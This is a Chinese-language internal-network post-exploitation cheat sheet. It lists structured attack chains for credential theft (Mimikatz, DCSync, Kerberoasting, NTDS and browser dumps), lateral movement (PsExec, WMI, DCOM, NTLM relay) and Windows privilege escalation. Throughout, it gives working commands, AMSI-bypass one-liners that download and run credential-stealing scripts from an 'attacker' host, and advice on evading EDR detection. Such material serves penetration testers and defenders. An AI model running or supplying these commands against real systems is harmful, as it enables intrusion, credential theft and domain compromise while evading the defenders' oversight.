108 KiB
内网渗透 / 后渗透速查
共 128 个结构化 payload,覆盖凭据窃取 / 横向移动 / 权限提升 / 免杀 / 域渗透 / 隧道代理 / 信息收集 / 权限维持
类别索引
| 类别 | 数量 |
|---|---|
| 凭证窃取 | 20 |
| 横向移动 | 16 |
| 权限提升 | 15 |
| 免杀与规避 | 14 |
| 域渗透攻击 | 14 |
| 隧道代理 | 13 |
| 信息收集 | 12 |
| 权限维持 | 12 |
| Exchange攻击 | 5 |
| ADCS攻击 | 5 |
| SharePoint攻击 | 2 |
凭证窃取
Mimikatz凭证抓取 mimikatz-creds
使用Mimikatz抓取Windows系统凭证
子类:Mimikatz · tags: mimikatz credentials windows lsass
前置条件: 需要管理员权限;需要绕过杀毒软件;Windows系统
攻击链:
1. 抓取所有凭证 [windows] 抓取LSASS中的所有登录凭证
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
2. 导出LSASS [windows] 从LSASS转储文件中提取凭证
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
3. Pass-the-Hash [windows] 使用NTLM哈希进行Pass-the-Hash攻击
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:target.com /ntlm:HASH" "exit"
4. DCSync攻击 [windows] 模拟DC同步获取域内所有用户哈希
mimikatz.exe "lsadump::dcsync /domain:target.com /user:Administrator" "exit"
5. 导出所有哈希 [windows] 从LSA导出所有用户哈希
mimikatz.exe "lsadump::lsa /inject" "exit"
6. 黄金票据 [windows] 生成黄金票据获取域管理员权限
mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator" "exit"
7. 白银票据 [windows] 生成白银票据访问特定服务
mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /target:server.target.com /service:cifs /rc4:HASH /user:Administrator" "exit"
EDR 绕过变体:
1. PowerShell加载 通过PowerShell远程加载Mimikatz
IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
2. AMSI绕过 禁用AMSI后加载Mimikatz
SET-ITEM -PATH "HKLM:\SOFTWARE\Microsoft\AMSI" -NAME "AllowBlocking" -VALUE 1; IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1")
3. 混淆执行 通过反射绕过AMSI
$a='[Ref].Assembly.GetType'('System.Management.Automation.AmsiUtils');$b=$a.GetField'('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
分析: 成功执行后可获取明文密码、NTLM哈希、Kerberos票据等凭证信息。
OPSEC: Mimikatz会被大多数杀软检测;使用混淆或内存加载绕过检测;优先考虑使用其他更隐蔽的工具;操作LSASS会触发EDR告警
Kerberoasting攻击 kerberoasting
Kerberoasting攻击获取服务账户哈希
子类:Kerberos · tags: kerberoasting kerberos active-directory spn
前置条件: 域环境;任意域用户凭证;域内存在SPN账户
攻击链:
1. 发现SPN [windows] 查询域内所有SPN
setspn -T domain.com -Q */*
2. 请求服务票据 [windows] PowerShell请求Kerberos票据
Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.target.com"
3. 导出票据 [windows] 使用Mimikatz导出Kerberos票据
mimikatz.exe "kerberos::list /export" "exit"
4. Rubeus请求 [windows] 使用Rubeus进行Kerberoasting
Rubeus.exe kerberoast /stats
5. Impacket GetUserSPNs [linux] 使用Impacket获取服务票据
GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
6. 离线破解 [linux] 使用Hashcat破解Kerberos票据
hashcat -m 13100 kerberoast.hash wordlist.txt
EDR 绕过变体:
1. RC4加密 使用RC4加密,避免触发告警
Rubeus.exe kerberoast /rc4opsec
分析: Kerberoasting可以获取服务账户的Kerberos票据,离线破解后得到明文密码。
OPSEC: Kerberoasting不需要高权限;只需要任意域用户凭证;建议使用RC4加密避免检测
AS-REP Roasting asreproasting
AS-REP Roasting攻击获取用户哈希
子类:Kerberos · tags: asreproasting kerberos active-directory
前置条件: 域环境;域中存在禁用Pre-auth的用户
攻击链:
1. Rubeus攻击 [windows] 使用Rubeus进行AS-REP Roasting
Rubeus.exe asreproast
2. Impacket攻击 [linux] 使用Impacket获取AS-REP
GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt
3. 查找禁用Pre-auth用户 [windows] 查找禁用Pre-auth的用户
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
4. 破解哈希 [linux] 使用Hashcat破解AS-REP哈希
hashcat -m 18200 asrep.hash wordlist.txt
分析: AS-REP Roasting可以获取禁用Pre-auth用户的哈希,离线破解后得到明文密码。
OPSEC: 不需要任何凭证;只需要用户名;禁用Pre-auth是错误配置
LaZagne凭证抓取 lazagne-creds
使用LaZagne抓取各种应用程序凭证
子类:工具 · tags: lazagne credentials browsers applications
前置条件: 目标机器访问权限;LaZagne工具
攻击链:
1. 抓取所有凭证 [windows] 抓取所有支持的凭证
laZagne.exe all
2. 浏览器凭证 [windows] 抓取浏览器保存的密码
laZagne.exe browsers
3. WiFi凭证 [windows] 抓取WiFi密码
laZagne.exe wifi
4. 邮件客户端 [windows] 抓取邮件客户端密码
laZagne.exe mails
5. 数据库凭证 [windows] 抓取数据库客户端密码
laZagne.exe databases
6. Linux版本 [linux] Linux版本抓取
python laZagne.py all
EDR 绕过变体:
1. 混淆执行 Base64编码执行
python -c "exec(__import__(\"base64\").b64decode(\"BASE64_PAYLOAD\"))"
分析: LaZagne可以从浏览器、邮件客户端、数据库客户端等多种应用程序中提取保存的凭证。
OPSEC: LaZagne会被杀软检测;考虑使用混淆或内存加载;可以只运行特定模块
SAM数据库导出 sam-dump
导出Windows SAM数据库获取本地账户哈希
子类:SAM · tags: sam hash windows local
前置条件: 管理员权限;Windows系统
攻击链:
1. reg导出 [windows] 导出SAM和SYSTEM配置单元
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
2. Impacket解析 [linux] 使用Impacket解析SAM
secretsdump.py -sam sam.hive -system system.hive LOCAL
3. Mimikatz导出 [windows] 使用Mimikatz导出SAM
mimikatz.exe "lsadump::sam" "exit"
4. Volume Shadow Copy [windows] 从卷影副本复制SAM
vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hive
分析: SAM数据库包含本地账户的NTLM哈希,可以用于破解或Pass-the-Hash。
OPSEC: 需要管理员权限;操作注册表可能触发告警;卷影副本方法更隐蔽
NTDS.dit导出 ntds-dump
导出Active Directory数据库获取所有域用户哈希
子类:NTDS · tags: ntds active-directory hash domain
前置条件: 域管理员权限;域控制器访问权限
攻击链:
1. ntdsutil快照 [windows] 使用ntdsutil创建IFM快照
ntdsutil "activate instance ntds" "ifm" "create full c:\temp" "quit" "quit"
2. Volume Shadow Copy [windows] 从卷影副本复制NTDS.dit
vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
3. Impacket解析 [linux] 使用Impacket解析NTDS.dit
secretsdump.py -ntds ntds.dit -system system.hive LOCAL
4. Impacket远程转储 [linux] 远程转储域哈希
secretsdump.py domain/admin:password@dc_ip -just-dc
5. Mimikatz DCSync [windows] 使用DCSync同步所有哈希
mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit"
分析: NTDS.dit包含域内所有用户的哈希,可以用于破解或Pass-the-Hash。
OPSEC: 需要域管理员权限;DCSync方法更隐蔽;操作可能触发大量告警
GPP密码提取 gpp-password
提取组策略首选项中的密码
子类:GPP · tags: gpp group-policy password xml
前置条件: 域环境;任意域用户凭证
攻击链:
1. 查找GPP文件 [linux] 查找SYSVOL中的XML文件
find /domain/sysvol -name "*.xml" 2>/dev/null
2. PowerShell查找 [windows] PowerShell查找GPP文件
Get-ChildItem -Path "\\domain.com\SYSVOL" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "\.xml$"}
3. PowerView提取 [windows] 使用PowerView提取GPP密码
Get-NetGPPPassword
4. gpp-decrypt [linux] 解密GPP密码哈希
gpp-decrypt HASH
5. Impacket提取 [linux] 使用Impacket提取GPP密码
Get-GPPPassword.py domain/user:password@dc_ip
分析: GPP密码使用公开的密钥加密,可以被解密获取明文密码。
OPSEC: GPP密码是常见的信息泄露点;只需要普通域用户权限;MS14-025修复后新密码不会被存储
Mimikatz高级技巧 mimikatz-advanced
Mimikatz高级凭证提取和利用技术
子类:Mimikatz · tags: mimikatz credentials advanced
前置条件: 管理员权限;Mimikatz工具
攻击链:
1. DCSync攻击 [windows] 模拟DC同步获取域管哈希
lsadump::dcsync /domain:domain.com /user:Administrator
2. 黄金票据生成 [windows] 生成黄金票据并注入
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt
3. 白银票据生成 [windows] 生成白银票据访问特定服务
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
4. Skeleton Key植入 [windows] 植入万能密码mimikatz
privilege::debug
misc::skeleton
浏览器凭证提取 browser-creds
从浏览器中提取保存的密码和Cookie
子类:浏览器 · tags: browser credentials chrome firefox
前置条件: 用户权限;浏览器已保存密码
攻击链:
1. Chrome密码提取 [windows] 复制Chrome登录数据库
Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | Copy-Item -Destination "C:\temp\Login Data"
2. Chrome Cookie提取 [windows] 复制Chrome Cookie数据库
Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" | Copy-Item -Destination "C:\temp\Cookies"
3. 使用SharpWeb [windows] 使用SharpWeb提取浏览器凭证
SharpWeb.exe --browser chrome
4. 使用HackBrowserData 提取Chrome所有数据
hack-browser-data.exe -b chrome
DPAPI凭证提取 dpapi-creds
从DPAPI保护存储中提取凭证
子类:DPAPI · tags: dpapi credentials windows
前置条件: 用户权限;DPAPI master key
攻击链:
1. 枚举DPAPI凭据 [windows] 查找DPAPI保护的凭据文件
Get-ChildItem -Path "$env:APPDATA\Microsoft\Credentials" -Force
2. 使用Mimikatz解密 [windows] 解密DPAPI凭据
dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\XXX
3. 获取Master Key [windows] 从内存获取DPAPI master key
sekurlsa::dpapi
RDP凭证提取 rdp-creds
提取保存的RDP连接密码
子类:RDP · tags: rdp credentials windows
前置条件: 用户权限;已保存RDP密码
攻击链:
1. 查找RDP文件 [windows] 查找RDP连接文件
Get-ChildItem -Path "$env:USERPROFILE\Documents\*.rdp" -Recurse
2. 提取RDP密码 [windows] 列出保存的凭据
cmdkey /list
3. 使用Mimikatz [windows] 解密RDP保存的密码
dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXX
WiFi凭证提取 wifi-creds
提取保存的WiFi密码
子类:WiFi · tags: wifi credentials windows
前置条件: 管理员权限;已连接WiFi
攻击链:
1. 列出WiFi配置文件 [windows] 显示所有WiFi配置文件
netsh wlan show profiles
2. 提取WiFi密码 [windows] 显示WiFi密码
netsh wlan show profile name="WiFi_Name" key=clear
Windows Vault凭证 vault-creds
从Windows凭据管理器提取凭证
子类:Vault · tags: vault credentials windows
前置条件: 用户权限;已保存凭据
攻击链:
1. 列出Vault凭据 [windows] 列出所有Vault
vaultcmd /list
2. 导出Vault凭据 [windows] 列出Windows凭据
vaultcmd /listcreds:"Windows Credentials" /all
3. 使用Mimikatz [windows] 从内存提取凭据管理器密码
sekurlsa::credman
KeePass凭证提取 keepass-dump
从KeePass数据库提取密码
子类:KeePass · tags: keepass credentials password-manager
前置条件: KeePass数据库文件;主密码或内存转储
攻击链:
1. 查找KeePass数据库 [windows] 搜索KeePass数据库文件
Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
2. 内存提取主密码 [windows] 从KeePass进程内存提取
使用KeePassDump或KeeThief从内存提取主密码
3. 使用KeeThief [windows] PowerShell提取KeePass密码
powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/KeeThief.ps1'); Get-KeePassPw
LSA Secrets提取 lsa-secrets
从LSA Secrets提取敏感数据
子类:LSA · tags: lsa secrets windows
前置条件: SYSTEM权限
攻击链:
1. 使用Mimikatz [windows] 提取LSA Secrets
lsadump::secrets
2. 使用reg save [windows] 导出注册表hive离线分析
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
3. 使用Impacket [linux] 离线提取LSA Secrets
secretsdump.py -security security.hive -system system.hive LOCAL
缓存凭证提取 cached-creds
提取域缓存凭证
子类:缓存 · tags: cached credentials domain
前置条件: SYSTEM权限;域环境
攻击链:
1. 使用Mimikatz [windows] 提取缓存域凭证
lsadump::cache
2. 使用reg save [windows] 导出SECURITY hive
reg save HKLM\SECURITY security.hive
3. 离线破解 [linux] 缓存凭证可离线破解
使用hashcat破解缓存的域凭证
DCSync攻击 dcsync-attack
模拟域控制器同步获取凭证
子类:域渗透 · tags: dcsync domain-controller mimikatz
前置条件: 域管理员权限或特定权限
攻击链:
1. 使用Mimikatz [windows] 使用Mimikatz执行DCSync
mimikatz # lsadump::dcsync /domain:domain.com /user:Administrator
2. 使用impacket [linux] 使用impacket执行DCSync
python secretsdump.py -just-dc-user Administrator domain.com/user:password@dc_ip
3. 导出所有哈希 [windows] 导出域内所有用户哈希
mimikatz # lsadump::dcsync /domain:domain.com /all /csv
4. 权限要求 DCSync所需权限
需要以下权限之一:
- Domain Admin
- Enterprise Admin
- 复制目录更改权限
黄金票据攻击 golden-ticket
使用krbtgt哈希生成黄金票据
子类:域持久化 · tags: golden-ticket krbtgt kerberos
前置条件: krbtgt账户哈希;域SID
攻击链:
1. 获取krbtgt哈希 [windows] 获取krbtgt账户哈希
mimikatz # lsadump::lsa /inject /name:krbtgt
2. 获取域SID [windows] 获取域SID
whoami /user
或: wmic useraccount get sid
3. 生成黄金票据 [windows] 生成并注入黄金票据
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
4. 验证票据 [windows] 验证黄金票据是否有效
klist
或: dir \\dc.domain.com\c$
白银票据攻击 silver-ticket
使用服务账户哈希生成白银票据
子类:域持久化 · tags: silver-ticket kerberos service
前置条件: 服务账户哈希;域SID
攻击链:
1. 获取服务哈希 [windows] 获取服务账户哈希
mimikatz # sekurlsa::logonpasswords
寻找服务账户NTLM哈希
2. 生成白银票据 [windows] 生成针对特定服务的票据
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /target:server.domain.com /service:cifs /rc4:HASH /ptt
3. 常见服务类型 可伪造的服务类型
CIFS - 文件共享
HTTP - Web服务
LDAP - 目录服务
MSSQLSvc - SQL服务
HOST - 远程管理
无人值守安装凭证提取 unattended-creds
从Windows无人值守安装文件(Unattend.xml/Sysprep)中提取明文或Base64编码的管理员凭证
子类:文件凭证 · tags: credentials unattend sysprep privilege-escalation windows
前置条件: 本地文件系统读取权限;目标使用过无人值守部署
攻击链:
1. 搜索无人值守安装文件 [windows] 在默认路径搜索Unattend/Sysprep配置文件,这些文件在Windows自动部署后可能残留在系统中
dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\Panther\unattended.xml C:\Windows\Panther\Autounattend.xml C:\Windows\System32\Sysprep\sysprep.xml C:\Windows\System32\Sysprep\unattend.xml 2>nul
2. 全盘搜索Unattend文件 [windows] 当默认路径找不到时,全盘递归搜索所有可能的无人值守文件
# CMD方式
dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul
# PowerShell方式
Get-ChildItem -Path C:\ -Recurse -Include "*unattend*","*sysprep*","*autounattend*" -ErrorAction SilentlyContinue | Select-Object FullName
3. 提取明文密码 [windows] 从Unattend.xml中提取密码字段,密码可能以明文或Base64编码形式存储在//节点中
# 查看文件内容
type C:\Windows\Panther\Unattend.xml
# 关键字段搜索
findstr /i /c:"Password" /c:"AutoLogon" /c:"AdminPassword" C:\Windows\Panther\Unattend.xml
# PowerShell提取
[xml]$xml = Get-Content C:\Windows\Panther\Unattend.xml
$xml.unattend.settings.component | Where-Object { $_.AutoLogon } | ForEach-Object { $_.AutoLogon.Password.Value }
4. 解码Base64密码 [windows] Unattend.xml中的密码如果以Base64编码存储,需要解码。Windows使用UTF-16LE编码,因此必须用Unicode解码而非ASCII
# PowerShell解码Base64
$encoded = "QQBkAG0AaQBuAEAAMQAyADMA" # 从XML提取的编码值
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
# 或者使用certutil
echo QQBkAG0AaQBuAEAAMQAyADMA > C:\temp\encoded.txt
certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt
type C:\temp\decoded.txt
5. 检查其他敏感安装文件 [windows] 除Unattend.xml外,其他位置也可能存储明文凭证
# 检查GPP(Group Policy Preferences)密码
findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml 2>nul
# 检查IIS配置文件
type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password"
# 检查VNC密码文件
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul
# 检查WiFi密码
netsh wlan show profiles
netsh wlan show profile name="目标WiFi" key=clear
6. 使用Metasploit自动化 [windows] 使用Metasploit后渗透模块自动搜索和提取无人值守安装文件中的凭证
# Metasploit模块
use post/windows/gather/enum_unattend
set SESSION 1
run
# 也可以使用
use post/multi/gather/firefox_creds
use post/windows/gather/credentials/gpp
use post/windows/gather/cachedump
EDR 绕过变体:
1. 绕过文件访问监控 [windows] 通过卷影副本或流式读取绕过文件访问监控
# 使用Volume Shadow Copy读取被锁定的文件
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Panther\Unattend.xml C:\temp\u.xml
# 使用PowerShell流式读取避免文件锁
[IO.File]::ReadAllText("C:\Windows\Panther\Unattend.xml")
分析: 无人值守安装文件是Windows大规模部署的产物。这些XML文件中的/节点可能包含本地管理员或域管理员的明文/编码凭证。该漏洞在企业环境中极为常见,因为IT部门经常忽略部署后清理这些文件。
OPSEC: 读取文件操作通常不会触发警报,但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。
横向移动
PsExec横向移动 lateral-psexec
使用PsExec进行横向移动
子类:SMB · tags: psexec lateral smb windows
前置条件: 目标机器开放445端口;拥有目标机器管理员凭证;ADMIN$共享可访问
攻击链:
1. 基本使用 [linux] 使用Impacket的psexec.py连接目标
psexec.py domain/user:password@target_ip
2. 使用哈希连接 [linux] 使用NTLM哈希进行Pass-the-Hash
psexec.py -hashes :NTLM_HASH domain/user@target_ip
3. 执行命令 [linux] 在目标机器执行命令
psexec.py domain/user:password@target_ip "whoami"
4. Windows PsExec [windows] 使用Sysinternals PsExec
PsExec.exe \\target_ip -u domain\user -p password cmd.exe
EDR 绕过变体:
1. 自定义服务名 使用自定义服务名避免检测
psexec.py -service-name CustomService domain/user:password@target_ip
2. SMBExec替代 使用smbexec.py,不写入磁盘
smbexec.py domain/user:password@target_ip
分析: PsExec通过SMB协议在目标机器创建服务并执行命令,成功后可获得目标机器的Shell。
OPSEC: PsExec会在目标机器创建服务,容易被检测;服务名称和二进制文件可能触发告警;考虑使用更隐蔽的横向移动方式
WMI横向移动 lateral-wmi
使用WMI进行横向移动
子类:WMI · tags: wmi lateral windows remote
前置条件: 目标机器开放135端口;拥有目标机器管理员凭证;WMI服务可访问
攻击链:
1. WMI执行命令 [windows] 使用WMIC远程执行命令
wmic /node:target_ip /user:domain\user /password:pass process call create "cmd.exe /c whoami"
2. Impacket wmiexec [linux] 使用Impacket的wmiexec.py
wmiexec.py domain/user:password@target_ip
3. 使用哈希 [linux] Pass-the-Hash通过WMI
wmiexec.py -hashes :NTLM_HASH domain/user@target_ip
4. PowerShell WMI [windows] 使用PowerShell WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target_ip -Credential $cred
EDR 绕过变体:
1. WMI事件订阅 通过WMI安装MSI包执行代码
wmic /node:target_ip /user:domain\user /password:pass path win32_product call install /package:"\\attacker\share\malware.msi"
分析: WMI横向移动不会在目标机器创建服务,相对PsExec更隐蔽。
OPSEC: WMI执行不会留下明显的文件痕迹;但WMI活动可能被监控;命令输出通过临时文件获取
Pass-the-Hash攻击 pass-the-hash
使用NTLM哈希进行身份验证
子类:认证攻击 · tags: pth ntlm hash authentication
前置条件: 获取用户NTLM哈希;目标机器允许NTLM认证;目标机器开放SMB/WMI端口
攻击链:
1. Impacket PtH [linux] 使用Impacket进行PtH
psexec.py -hashes :NTHASH domain/user@target_ip
2. CrackMapExec PtH [linux] 使用CrackMapExec进行PtH
crackmapexec smb target_ip -u user -H NTHASH -d domain
3. Windows PtH [windows] 使用Mimikatz进行PtH
sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH
4. PowerShell PtH [windows] 使用PowerShell进行PtH
Invoke-SMBClient -Domain domain -User user -Hash NTHASH -Target target_ip
EDR 绕过变体:
1. Overpass-the-Hash 将哈希转换为Kerberos票据
sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH /run:cmd.exe
分析: PtH成功后可以该用户身份访问目标机器,无需明文密码。
OPSEC: PtH不会产生登录日志中的密码验证;但会留下网络登录日志;注意时间戳和来源IP
NTLM Relay攻击 ntlm-relay
NTLM中继攻击技术
子类:认证攻击 · tags: ntlm relay smb authentication
前置条件: 目标机器开放SMB端口;目标机器未启用SMB签名;可诱导目标机器认证
攻击链:
1. Responder监听 [linux] 启动Responder监听NTLM认证
responder -I eth0 -wrf
2. ntlmrelayx攻击 [linux] 使用ntlmrelayx进行中继攻击
ntlmrelayx.py -tf targets.txt -smb2support
3. 中继到LDAP [linux] 中继到LDAP进行权限提升
ntlmrelayx.py -t ldap://dc_ip -smb2support --escalate-user user
4. IPv6中继 [linux] 使用IPv6进行NTLM中继
mitm6 -d domain.com & ntlmrelayx.py -t ldap://dc_ip -wh attacker_ip
EDR 绕过变体:
1. Drop the MIC 移除MIC标志绕过签名验证
ntlmrelayx.py -t smb://target --remove-mic
分析: NTLM Relay成功后可以获取目标机器的访问权限或提升域权限。
OPSEC: 需要目标机器未启用SMB签名;域控制器默认启用签名;IPv6中继更隐蔽
WinRM横向移动 lateral-winrm
通过WinRM进行横向移动
子类:WinRM · tags: winrm lateral powershell
前置条件: WinRM启用;有效凭证
攻击链:
1. PowerShell远程 [windows] PowerShell远程会话
Enter-PSSession -ComputerName target -Credential $cred
2. 执行命令 [windows] 远程执行命令
Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred
3. evil-winrm [linux] 使用evil-winrm连接
evil-winrm -i target -u user -p password
DCOM横向移动 lateral-dcom
通过DCOM进行横向移动
子类:DCOM · tags: dcom lateral com
前置条件: DCOM启用;有效凭证
攻击链:
1. MMC20.Application [windows] 通过MMC DCOM执行命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","target"))
$com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c whoami","7")
2. ShellBrowserWindow [windows] 通过ShellBrowserWindow执行
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","target"))
$com.Document.Application.ShellExecute("cmd.exe","/c whoami","c:\windows\system32",$null,0)
3. Excel DCOM [windows] 通过Excel DCOM执行
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","target"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd","/c calc.exe")
SSH横向移动 lateral-ssh
通过SSH进行横向移动
子类:SSH · tags: ssh lateral linux
前置条件: SSH服务;有效凭证
攻击链:
1. SSH连接 [linux] 基础SSH连接
ssh user@target
2. SSH密钥认证 [linux] 使用私钥连接
ssh -i private_key user@target
3. SSH跳板 [linux] 通过跳板机连接
ssh -J jump_host user@target
RDP会话劫持 rdp-hijack
劫持已存在的RDP会话
子类:RDP · tags: rdp hijack session
前置条件: SYSTEM权限;存在RDP会话
攻击链:
1. 列出会话 [windows] 列出所有用户会话
query user
2. 劫持会话 [windows] 劫持指定会话
tscon SESSION_ID /dest:console
3. 使用Mimikatz [windows] 使用Mimikatz劫持
ts::sessions
ts::remote /id:SESSION_ID
Overpass-the-Hash overpass-the-hash
使用哈希获取Kerberos票据
子类:PtH · tags: pth kerberos hash
前置条件: 用户NTLM哈希;域环境
攻击链:
1. Mimikatz [windows] 使用哈希获取Kerberos票据
sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH /ptt
2. Rubeus [windows] 使用Rubeus获取票据
Rubeus.exe asktgt /user:Administrator /domain:domain.com /rc4:HASH /ptt
3. Impacket [linux] 获取Kerberos票据
getTGT.py domain.com/user -hashes :HASH
Pass-the-Ticket pass-the-ticket
使用Kerberos票据进行横向移动
子类:PtT · tags: ptt kerberos ticket
前置条件: 有效Kerberos票据
攻击链:
1. 导出票据 [windows] 从内存导出Kerberos票据
sekurlsa::tickets /export
2. 注入票据 [windows] 注入票据到当前会话
kerberos::ptt ticket.kirbi
3. Rubeus导入 [windows] 使用Rubeus注入票据
Rubeus.exe ptt /ticket:base64ticket
SMBExec横向移动 lateral-smbexec
通过SMB执行命令
子类:SMB · tags: smb lateral exec
前置条件: SMB访问权限;管理员权限
攻击链:
1. Impacket smbexec [linux] 使用smbexec执行命令
smbexec.py domain/user:password@target
2. 通过服务执行 [windows] 创建并启动服务
sc \\target create evilsvc binPath= "cmd /c whoami"
sc \\target start evilsvc
sc \\target delete evilsvc
ATExec横向移动 lateral-atexec
通过计划任务执行命令
子类:计划任务 · tags: at scheduled lateral
前置条件: 计划任务权限;管理员权限
攻击链:
1. Impacket atexec [linux] 使用atexec执行命令
atexec.py domain/user:password@target "whoami"
2. schtasks [windows] 创建远程计划任务
schtasks /create /s target /tn "evil" /tr "cmd /c whoami" /sc once /st 00:00
WinRS横向移动 lateral-winrs
通过WinRS执行远程命令
子类:WinRS · tags: winrs lateral windows
前置条件: WinRM启用;有效凭证
攻击链:
1. 执行命令 [windows] 远程执行命令
winrs -r:target -u:user -p:password "whoami"
2. 获取Shell [windows] 获取远程CMD
winrs -r:target -u:user -p:password "cmd"
Excel DCOM横向移动 lateral-dcom-excel
利用Excel DCOM进行横向移动
子类:DCOM · tags: dcom excel lateral
前置条件: 目标安装Excel;DCOM权限
攻击链:
1. Excel DCOM激活 [windows] 激活Excel DCOM对象
$com = [Type]::GetTypeFromProgID("Excel.Application","target.com")
$obj = [System.Activator]::CreateInstance($com)
$obj.Visible = $false
2. 执行命令 [windows] 通过Excel执行命令
$obj.Workbooks.Add()
$obj.Cells.Item(1,1) = "=CMD|/C calc.exe!A"
$obj.Run("calc.exe")
3. Impacket DCOM [linux] 使用Impacket执行
python dcomexec.py -object Excel.Application domain/user:password@target.com
MMC DCOM横向移动 lateral-dcom-mmc
利用MMC DCOM进行横向移动
子类:DCOM · tags: dcom mmc lateral
前置条件: 目标安装MMC;DCOM权限
攻击链:
1. MMC20.Application [windows] 使用MMC执行命令
$com = [Type]::GetTypeFromProgID("MMC20.Application","target.com")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7")
2. Impacket执行 [linux] 使用Impacket
python dcomexec.py -object MMC20.Application domain/user:password@target.com
RDP Relay攻击 rdp-relay
RDP中继攻击技术
子类:RDP · tags: rdp relay lateral
前置条件: RDP服务可访问;存在NTLM认证
攻击链:
1. 设置中继 [linux] 设置RDP中继服务器
使用Impacket:
python ntlmrelayx.py -tf targets.txt -smb2support
或使用rdp_relay.py
2. 诱导连接 诱导用户连接
诱导用户连接到攻击者控制的RDP服务器:
1. 发送恶意RDP文件
2. 用户连接时中继到目标
3. PetitPotam组合 [linux] PetitPotam + RDP Relay
python petitpotam.py -d domain -u user -p pass attacker_ip target_ip
结合NTLM中继攻击ADCS
权限提升
令牌窃取与模拟 privilege-token
窃取和模拟Windows访问令牌
子类:令牌操作 · tags: token privilege impersonation windows
前置条件: 已获得目标机器权限;SeImpersonatePrivilege权限;Windows系统
攻击链:
1. 列出令牌 [windows] 列出系统中所有可用令牌
mimikatz.exe "privilege::debug" "token::list" "exit"
2. 窃取令牌 [windows] 窃取指定用户的令牌
mimikatz.exe "privilege::debug" "token::elevate /domainuser:Administrator" "exit"
3. JuicyPotato攻击 [windows] JuicyPotato提权(需要SeImpersonatePrivilege)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
4. PrintSpoofer [windows] PrintSpoofer提权
PrintSpoofer.exe -i -c cmd
5. GodPotato [windows] GodPotato提权,支持更多Windows版本
GodPotato.exe -cmd "cmd /c whoami"
EDR 绕过变体:
1. RoguePotato RoguePotato,绕过更多限制
RoguePotato.exe -r attacker_ip -l 9999 -e "cmd.exe"
分析: 令牌窃取成功后可以模拟高权限用户身份执行操作。
OPSEC: Potato系列工具利用DCOM机制;需要SeImpersonatePrivilege权限;不同Windows版本需要不同的CLSID
Windows权限提升 windows-privesc
Windows系统提权技术
子类:Windows · tags: privesc windows privilege
前置条件: 普通用户权限;系统漏洞
攻击链:
1. 检查提权向量 [windows] 检查当前权限
whoami /priv
whoami /groups
